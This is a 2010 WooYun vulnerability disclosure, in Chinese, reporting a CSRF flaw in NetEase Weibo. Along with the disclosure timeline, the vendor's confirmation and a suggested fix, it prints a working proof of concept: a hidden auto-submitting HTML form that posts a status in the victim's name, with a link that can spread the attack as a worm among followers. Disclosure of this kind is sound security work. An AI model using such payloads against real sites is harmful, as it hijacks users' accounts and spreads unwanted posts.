漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2010-0640
漏洞标题：网易微博CSRF
相关厂商：网易
漏洞作者： x140m1ng
提交时间：2010-10-01 02:57
修复时间：2010-10-31 03:00
公开时间：2010-10-31 03:00
漏洞类型：CSRF
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2010-10-01： 细节已通知厂商并且等待厂商处理中
2010-10-08： 厂商已经确认，细节仅向厂商公开
2010-10-18： 细节向核心白帽子及相关领域专家公开
2010-10-28： 细节向普通白帽子公开
2010-11-07： 细节向实习白帽子公开
2010-10-31： 细节向公众公开
简要描述：
没有进行token验证，易受CSRF攻击
详细说明：
恶意攻击者可构造恶意表单，并骗取受害者点击，当受害者点击链接时，会以受害者的名义产生一条微博信息，此方法可产生蠕虫，非常严重。
漏洞证明：
测试方法：
1、将下列表单存储成index.html,放在本地目录下，将183.174.39.46换成你自己的ip。
<form name="CSRF" method="POST" name="form0" action="http://t.163.com:80/statuses/update.do">
<input type="hidden" name="status" value="http://183.174.39.46/index.html"/>
<input type="hidden" name="in_reply_to_status_id" value="sendinfo"/>
<input type="hidden" name="dispatchToFollowers" value=""/>
</form>
<script>
document.CSRF.submit();
</script>
2、登录网易微博，然后访问http://183.174.39.46/index.html
3、回到自己的页面，http://t.163.com/,会发现已经多出来一条微博消息。
4、关注你的人如果点击了那条微博消息，也会相应地发出一条一样的微博消息/
修复方案：
对referer和token进行验证。
版权声明：转载请注明来源 x140m1ng@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：20
确认时间：2010-10-08 11:42
厂商回复：
谢谢x140m1ng ， 尽快修复。
最新状态：
暂无